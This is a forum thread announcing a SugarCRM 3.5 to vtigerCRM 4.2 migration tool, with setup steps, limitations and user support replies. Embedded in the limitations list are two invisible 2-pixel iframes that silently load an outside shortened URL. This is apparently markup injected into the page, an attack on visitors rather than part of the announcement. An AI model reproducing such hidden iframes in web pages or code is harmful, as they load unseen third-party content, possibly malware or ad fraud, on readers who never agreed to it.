Dear Community,
We are pleased to release the Migration tool for Open Source SugarCRM 3.5 free version to vitgerCRM 4.2
Regards,
Philip
Migration Procedure from SugarCRM 3.5 to vtigerCRM 4.2:
Kindly note that both SugarCRM and vtigerCRM should be installed in the same server
Download the tool from the following url <!-- m --><a class="postlink" href="http://prdownloads.sourceforge.net/vtigercrm/sugar35Tovtiger42Migration.zip?download">http://prdownloads.sourceforge.net/vtig ... p?download</a><!-- m -->
1. unzip the sugar35Tovtiger42Migration.zip file under vtigerCRM home directory(parallel to index.php).
(
Sugar35ToVTiger42Migration.php,
SugarMigration/Sugar35ToVTiger42Migrator.php,
SugarMigration/VTigerMigrator.php &
vtigerpatch.php
)
2. Edit the Sugar35ToVTiger42Migration.php file present under the vtigerCRM home directory and configure the following parameter:
2.1. Specify the absolute path for $sugar_root_directory.
3. Now access the file Sugar35ToVTiger42Migration.php (present under vtigerCRM home) through your browser.
Now in the webpage necessary details will be displayed and the database values from sugarCRM 3.5 will be transferred to vtigerCRM 4.2 version
Note :
1. In this migration process the sugarCRM 3.5 database will not be modified.
2. During this migration first vtigerCRM 4.2 database values will be deleted and then new sugarCRM 3.5 values will be inserted.
3. After migration vtigerCRM 4.2 Patch2 will be applied automatically if you have not applied the patch already.
4. The data migration is handled for the following modules:
a. Users
b. Leads
c. Accounts
d. Contacts
e. Potentials (Opportunities)
f. Emails
g. Calls, Meetings (In vtiger these will be in Activites)
h. Notes
i. Tasks
5. The following functionalities has also been handled
a. Roles
b. Custom Fields
c. Picklists
Limitations:
1. In customfields, the PickList(Combo values) and TextArea has not been handled as we have some problems in these fields in sugarCRM.
2. Attachments are not supported in this migration script. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
i am confused in this message because we didnot use query_module_access_list() in our migration script anywhere.
we have included only the config.php and custom/include/language/en_us.lang.php files which are not include any other sugar files. there files have been included to get the dbconfiguration and the standard picklist arrays.
so could you please let us know
1. the path you have installed sugar
2. the path given for the variable $sugar_root_directory in sugar35tovtiger42migration.php and
3. the path, where you have placed the migration script.
this will help us to proceed further.
please feel free to contact us in toll free number or send mail to <!-- e --><a href="mailto:mickie@vtiger.com">mickie@vtiger.com</a><!-- e -->
thanks & regards
mickie
import ran successfully once i figured that one out, but do get an error on viewing imported users. now i am guessing user error, but if you wish to take a look, here is a section from the log:
thanks for a wonderful way to transition to your product!
david
thanks for your reply. from the log file, the roleid is missing for the user with id 21.
the problem may be due to creating role at the time of migration. to get the error please do look into your vtigercrm.log files from start ==> data migration to end ==> data migration . the logs will be placed more than one log files. if you can please have a look into that files otherwise please send me the log files which contains the migration informations ie., in between the above specified start and end data migration strings.
please send the log files to <!-- e --><a href="mailto:mickie@vtiger.com">mickie@vtiger.com</a><!-- e -->.
please feel free to ask if you have any problems.
thanks & regards
mickie
in the migration process all the data in vtiger database will be deleted (please see the note 2 in this announcement first post).
also it would be very helpful to find the problem, if you look into vtigercrm.log file(i have mentioned in my precious post) and if you cannot find the error then please send me that log files. i will look into the error and then let you know.
please feel free to contact in toll free number or mail to <!-- e --><a href="mailto:mickie@vtiger.com">mickie@vtiger.com</a><!-- e -->.
thanks for your understanding.
thanks & regards
mickie
how much is it likely to cost.
thanks in advance
gavin allinson
thanks for this useful tool, just moving over from sugarcrm after "word of mouth" <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->
where should we go from here?
thanks!